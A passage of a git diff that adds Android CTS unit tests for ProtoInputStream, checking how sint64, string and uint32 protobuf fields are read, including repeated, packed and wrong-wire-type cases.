+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[0]);
+        testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT64;
+        final long FIELD_ID = fieldFlags | ((long) 82 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.sint64FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.sint64FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.sint64FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readLong(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readLong(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readLong(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed sint64)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readLong(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamStringTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamStringTest.java
new file mode 100644
index 0000000..2a0250a
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamStringTest.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+public class ProtoInputStreamStringTest extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> null - default value, not written
+                // 2 -> "" - default value, not written
+                // 3 -> "abcd\u3110!"
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0x61, (byte) 0x62, (byte) 0x63, (byte) 0x64,
+                (byte) 0xe3, (byte) 0x84, (byte) 0x90, (byte) 0x21,
+                // 5 -> "Hi"
+                (byte) 0x2a,
+                (byte) 0x02,
+                (byte) 0x48, (byte) 0x69,
+                // 4 -> "Hi"
+                (byte) 0x22,
+                (byte) 0x02,
+                (byte) 0x48, (byte) 0x69,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        String[] results = new String[4];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0] = pi.readString(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readString(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readString(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readString(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertNull(results[0]);
+        assertNull(results[1]);
+        assertEquals("abcd\u3110!", results[2]);
+        assertEquals("Hi", results[3]);
+    }
+
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat("");
+        testReadCompat("abcd\u3110!");
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(String val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+        final long FIELD_ID = fieldFlags | ((long) 140 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.stringField = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        String result = "";
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readString(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.stringField, result);
+    }
+
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_STRING;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> null - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x00,
+                // 2 -> "" - default value, written when repeated
+                (byte) 0x12,
+                (byte) 0x00,
+                // 3 -> "abcd\u3110!"
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0x61, (byte) 0x62, (byte) 0x63, (byte) 0x64,
+                (byte) 0xe3, (byte) 0x84, (byte) 0x90, (byte) 0x21,
+                // 4 -> "Hi"
+                (byte) 0x22,
+                (byte) 0x02,
+                (byte) 0x48, (byte) 0x69,
+
+                // 5 -> "Hi"
+                (byte) 0x2a,
+                (byte) 0x02,
+                (byte) 0x48, (byte) 0x69,
+
+                // 1 -> null - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x00,
+                // 2 -> "" - default value, written when repeated
+                (byte) 0x12,
+                (byte) 0x00,
+                // 3 -> "abcd\u3110!"
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0x61, (byte) 0x62, (byte) 0x63, (byte) 0x64,
+                (byte) 0xe3, (byte) 0x84, (byte) 0x90, (byte) 0x21,
+                // 4 -> "Hi"
+                (byte) 0x22,
+                (byte) 0x02,
+                (byte) 0x48, (byte) 0x69,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        String[][] results = new String[4][2];
+        int[] indices = new int[4];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readString(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readString(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readString(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readString(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals("", results[0][0]);
+        assertEquals("", results[0][1]);
+        assertEquals("", results[1][0]);
+        assertEquals("", results[1][1]);
+        assertEquals("abcd\u3110!", results[2][0]);
+        assertEquals("abcd\u3110!", results[2][1]);
+        assertEquals("Hi", results[3][0]);
+        assertEquals("Hi", results[3][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new String[0]);
+        testRepeatedCompat(new String[]{"", "abcd\u3110!", "Hi",});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(String[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_STRING;
+        final long FIELD_ID = fieldFlags | ((long) 141 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.stringFieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        String[] result = new String[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readString(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.stringFieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.stringFieldRepeated[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> {1}
+                (byte) 0x0a,
+                (byte) 0x01,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_STRING;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readString(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readString(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readString(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed booleans)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readString(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+
+}
\ No newline at end of file
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt32Test.java
new file mode 100644
index 0000000..eeb6105
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt32Test.java
@@ -0,0 +1,563 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamUInt32Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[] results = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(int val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+        final long FIELD_ID = fieldFlags | ((long) 50 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.uint32Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.uint32Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
